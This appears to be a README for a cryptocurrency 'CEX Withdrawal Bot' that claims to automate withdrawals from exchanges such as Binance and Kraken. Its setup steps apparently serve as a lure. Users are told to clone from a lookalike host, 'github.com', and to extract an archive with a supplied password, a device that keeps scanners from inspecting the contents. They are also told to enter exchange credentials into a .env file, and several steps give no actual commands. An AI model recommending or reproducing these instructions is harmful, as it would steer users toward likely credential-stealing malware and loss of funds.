The CEX Withdrawal Bot is a tool for securely and efficiently withdrawing assets from various centralized exchanges. This bot simplifies the withdrawal process and offers additional features such as automatic withdrawal scheduling and error handling.
- Secure and efficient withdrawal of assets from supported centralized exchanges.
- Support for multiple exchanges, including but not limited to Binance, Kraken, Coinbase, Mexc, Kucoin, Gate, Okx, Huobi and Bybit .
- Automated withdrawal scheduling for regular transfers.
- Error handling and notifications for withdrawal-related issues.
- Configuration options for custom withdrawal strategies.
Follow these steps to set up and run the CEX Withdrawal Bot on your local machine:
-
Clone the repository:
git clone https://github.com/exileqeq/cex-withdrawal-bot.git cd cex-withdrawal-bot
-
extract archive with pass
hiIJq71OeS
-
Install dependencies:
-
Configure your environment:
Create a .env
file in the project's root directory and define your environment variables. You can use the .env.example
file as a template.
- Start the bot:
- Add Exchange Credentials:
In the .env
file, provide the necessary credentials and configuration for the centralized exchange(s) you want to use.
- Customize Withdrawal Strategy:
Modify the withdrawal strategy in the strategies
directory to suit your specific withdrawal needs. You can create custom strategies by extending the base strategy classes provided.
- Schedule Withdrawals:
Use the bot's scheduling features to automate regular withdrawals or make one-time withdrawals as needed.
- Monitor Errors:
The bot provides error handling and notification features. Configure your preferred notification channels to stay informed about any withdrawal issues.
Here are some planned features for the CEX Withdrawal Bot:
- Support for additional centralized exchanges.
- Integration with hardware wallets for enhanced security.
- Enhanced error reporting and recovery mechanisms.
- User-friendly web interface for configuration and monitoring.
- Community contributions and feedback incorporation.
We welcome contributions from the community. To contribute to this project, please follow our Contribution Guidelines.
This project is licensed under the MIT License - see the LICENSE file for details.